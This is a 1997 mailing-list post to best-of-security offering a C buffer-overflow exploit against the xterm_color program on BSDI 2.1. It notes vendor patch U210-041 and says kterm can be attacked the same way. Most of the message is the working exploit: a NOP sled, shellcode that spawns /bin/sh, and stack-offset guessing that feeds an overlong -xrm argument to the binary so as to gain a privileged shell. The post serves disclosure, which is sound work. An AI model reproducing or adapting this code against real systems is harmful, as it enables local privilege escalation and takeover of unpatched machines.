|
Date: Thu, 23 Oct 1997 08:32:10 +0200 From: Ladislav Bukvicka <Ladislav.Bukvicka@EUNET.CZ> To: best-of-security@cyber.com.au Subject: BoS: BSDI xterm_color/kterm exploit -----BEGIN PGP SIGNED MESSAGE----- Hi, try this exploit, it works on BSDI 2.1 and I think that it works in older versions too. The patch from BSDI which fixes security problems with X11 library on BSDI 2.1 has number U210-041. This exploit is based on exploit of bug in Linux - color_xterm which was here some time ago. bye pukvis PS: exploit of kterm is the same, but you must rewrite paths. - --- here is xterm_color expoit --- /* xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1 pukvis */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("mA1o pJaMJeti !!!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "try if it goes - check your id\n"); execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL); } - --- end of xterm_color exploit --- - -- ====== ____ = Ladislav Bukvicka ====== ===== / / / ___ ___ _/_ == Pod Sancemi 441/1 ===== ==== 756 /---- / / / / /___/ / === Prague 9,Czech Rep. ==== === /____ /___/ / / /___ / ==== fax:+420(2) 66313404 === == ===== tel.:+420(2) 66008161 == = Connecting Europe since 1982 ====== e-mail:pukvis@eunet.cz = -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: ascii iQCVAwUBNE7vZyWGrQpNBKPlAQH1BgP+MNHCxUJJ3/9tR/mgZhCbrBM1yhmWp1FV U25Wt9tzWeQofpy+7kQB9tKQw9hrSroe9EtVxCj6UHFMN5Z3qLPEw/5QA1TkIW07 jpe4+kZTQkU2MemCshw1jAbKLsrfv8qc4OvY+tE7ZKpnq95KQ4BMsWiqCLAAwKb/ R0ghchb82Ew= =vsfP -----END PGP SIGNATURE-----